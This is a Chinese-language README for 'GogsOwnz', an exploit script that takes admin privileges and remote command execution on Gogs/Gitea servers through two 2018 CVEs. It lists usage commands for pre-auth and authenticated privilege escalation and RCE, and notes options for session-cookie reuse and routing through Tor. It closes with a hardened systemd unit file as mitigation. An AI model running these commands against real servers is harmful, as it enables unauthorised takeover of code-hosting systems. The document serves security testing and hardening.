GogsOwnz 是一个简单的脚本,用于在 Gogs/Gitea 服务器上获取管理员权限和远程代码执行(RCE)。
利用 Gogs/Gitea 的漏洞,包括 CVE-2018-18925、CVE-2018-20303。
法律免责声明
本脚本按原样提供,无任何担保,请自行使用并遵守法律。
获取正在运行的 Gogs/Gitea 信息
python3 gogsownz.py https://127.0.0.1:3000/ -v --info
利用预授权权限提升(PrivEsc)
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth
利用权限提升(PrivEsc)
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup
或者
python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup
利用预授权远程代码执行(RCE)
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup
利用授权远程代码执行(RCE)
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup
完整用法
usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
[--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
[--check-tor] [--burp] [-k] [--verbose]
url
positional arguments:
url URL for the Gogs server
optional arguments:
-h, --help show this help message and exit
-C CREDS, --creds CREDS
Credentials for the Gogs server, in the from
"username:password"
-n COOKIENAME, --cookie-name COOKIENAME
Name of the Gogs-specific session cookie
-c COOKIE, --cookie COOKIE
Session for the Gogs server, the value in the
i_like_gogits Cookie
-i, --info Only detect informations about the running Gogs
server, then quit
--rce RCE Command to execute on the Gogs server
--repo REPO Use an existing repo for the PrivEsc
--preauth Try the pre-auth vulnerability
--windows Gogs server runs on Windows
--cleanup Remove all created repo after exploit
--tor Use tor proxy when performing requests
--check-tor Check that Tor is correctly set up before running
--burp Use burp proxy when performing requests
-k, --insecure Allow insecure server connections when using SSL
--verbose, -v
感谢以下人员:
https://github.com/gogs/gogs/issues/5469
https://github.com/gogs/gogs/issues/5558
https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51
https://github.com/gogs/gogs/issues/5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf
如果你注意设置 systemd 单元文件,你会惊喜地发现利用行为在一定程度上被限制了:
[Unit]
Description=Gogs
After=syslog.target
After=network.target
[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs
# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
这至少会将文件系统访问限制在 systemd 创建的临时文件系统内。这有所帮助,但你最好还是修补权限提升漏洞,并且显然不要授予任何管理员权限。